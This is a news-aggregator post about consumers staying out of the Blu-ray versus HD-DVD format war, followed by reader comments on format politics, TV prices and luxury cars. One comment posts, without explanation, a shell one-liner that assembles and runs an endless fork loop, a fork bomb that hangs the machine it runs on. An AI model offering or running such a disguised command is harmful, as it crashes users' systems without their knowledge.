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Most Consumers Sitting Out The High-Def War
The New York Times notes that, despite the increasing variety of programs on the Blu-ray and HD-DVD formats, most US consumers are staying out of the DVD format war. This is a wise decision, the article states, because the two formats are essentially at a stalemate. "The two camps are victims of their own earlier success with DVD. The standard DVDs offered a quantum leap in quality from the picture and sound of VHS videotape, and for many that was more than adequate. In addition, DVD players that can convert images to near high-definition quality can be found for under $100, hundreds less than a true high-definition DVD player, further reducing the urgency to upgrade to one of the new formats."
Some of us live in countries where the government isnt owned by corporations. ;)
Its a novel concept I know but it works well.
And yes we are waiting for the root key to be cracked so we can put high def content on our media servers.
Pussy? Spending money on consumer electronics doesn't have the same effect though.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
That's something I never understood. Paying $lots of a TV means you're at least getting something that *does* something -- in this case, shows a giant picture. Some people (me, you possibly) don't want this; some people do want it.
But what exactly do you get that you didn't have before if you pay $43k for a BMW? What does a luxury car *do* that your Hyundai won't? Heck, they're not even more reliable these days -- iirc a little Toyota Yaris ($11-12k) has a longer life expectancy than some of those beemers and Audis and things.